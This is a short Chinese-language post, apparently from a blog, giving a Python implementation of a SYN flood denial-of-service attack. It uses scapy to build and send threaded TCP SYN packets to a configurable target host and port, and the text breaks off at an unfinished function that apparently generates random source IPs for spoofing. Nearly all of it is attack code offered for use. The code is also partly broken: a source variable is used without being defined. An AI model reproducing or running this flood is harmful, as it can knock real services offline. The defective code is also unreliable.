SYN Flood的python实现
代码如下。需要事先安装scapy库。(是scapy 不是scrapy)
from scapy.all import *
import random
from scapy.layers.inet import TCP, IP
import socket,threading
dst=""
dport=0
class flood_SYN(threading.Thread):
global dport,dst
def __init__(self):
threading.Thread.__init__(self)
def run(self):
sport = random.randint(1, 65535)
ip = IP(src=src, dst=dst)
tcp = TCP(sport=sport, dport=dport)
SYN = ip / tcp
print(SYN.summary())
send(SYN,verbose=0)
#def SYNFlood(src, dst, dport):
# sport = random.randint(10000, 65535)
# ip = IP(src=src, dst=dst)
# tcp = TCP(sport=sport, dport=dport)
# SYN = ip / tcp
# print(SYN.summary())
# send(SYN)
def randomIP():